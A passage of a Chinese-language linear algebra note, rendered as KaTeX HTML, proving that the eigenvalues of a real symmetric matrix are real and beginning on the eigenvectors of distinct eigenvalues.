aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">bi</span></span></span></span>, 则一定有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mo>=</mo><mover accent="true"><mi>λ</mi><mo>ˉ</mo></mover><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover></mrow><annotation encoding="application/x-tex"> S \bar{x} = \bar{\lambda} \bar{x} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8312em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8312em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">λ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> Sx = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span>，两边左乘 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> \bar{x}^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mi>λ</mi><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> \bar{x}^T S x = \lambda \bar{x}^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">λ</span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mo>=</mo><mover accent="true"><mi>λ</mi><mo>ˉ</mo></mover><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover></mrow><annotation encoding="application/x-tex"> S \bar{x} = \bar{\lambda} \bar{x} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8312em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8312em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">λ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span></span></span></span>，两边右乘 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mover accent="true"><mi>λ</mi><mo>ˉ</mo></mover><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> \bar{x}^T S x = \bar{\lambda} \bar{x}^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8312em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">λ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>。</p><p>对比可知 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi><mo>=</mo><mover accent="true"><mi>λ</mi><mo>ˉ</mo></mover><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> \lambda \bar{x}^T x = \bar{\lambda} \bar{x}^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">λ</span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8312em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">λ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>，当且仅当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \bar{x}^T x \neq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><mo>=</mo><mover accent="true"><mi>λ</mi><mo>ˉ</mo></mover></mrow><annotation encoding="application/x-tex"> \lambda = \bar{\lambda} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8312em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8312em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">λ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span></span></span></span></span></span></span>，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span> 为实数。</p><p>如何证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \bar{x}^T x \neq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 呢？</p><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mo>=</mo><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi></mrow><annotation encoding="application/x-tex"> \bar{x} = a + bi </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5678em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">bi</span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mover accent="true"><mi>x</mi><mo>ˉ</mo></mover><mi>T</mi></msup><mi>x</mi><mo>=</mo><mo stretchy="false">(</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>i</mi><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>a</mi><mi>T</mi></msup><mi>a</mi><mo>+</mo><msup><mi>b</mi><mi>T</mi></msup><mi>b</mi></mrow><annotation encoding="application/x-tex"> \bar{x}^T x = (a - bi)^T (a + bi) = a^T a + b^T b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5678em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal">x</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.2222em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">bi</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">bi</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9247em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">b</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex"> a </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex"> b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 不全为 0，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>T</mi></msup><mi>a</mi><mo>+</mo><msup><mi>b</mi><mi>T</mi></msup><mi>b</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> a^T a + b^T b &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9247em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8804em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>因此，实对称矩阵的特征值为实数。</p><blockquote><p><strong>Real Eigenvalues</strong> All the eigenvalues of a real symmetric matrix are real.</p></blockquote><p>注意：假如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 是复矩阵，需要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mover accent="true"><mi>S</mi><mo>ˉ</mo></mover><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> S = \bar{S}^T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1667em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>  才能保证特征值为实数。</p><hr /><p>假设有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>x</mi><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><mi>x</mi></mrow><annotation encoding="application/x-tex"> Sx = \lambda_1 x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><mi>y</mi></mrow><annotation encoding="application/x-tex"> Sy = \lambda_2 y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span 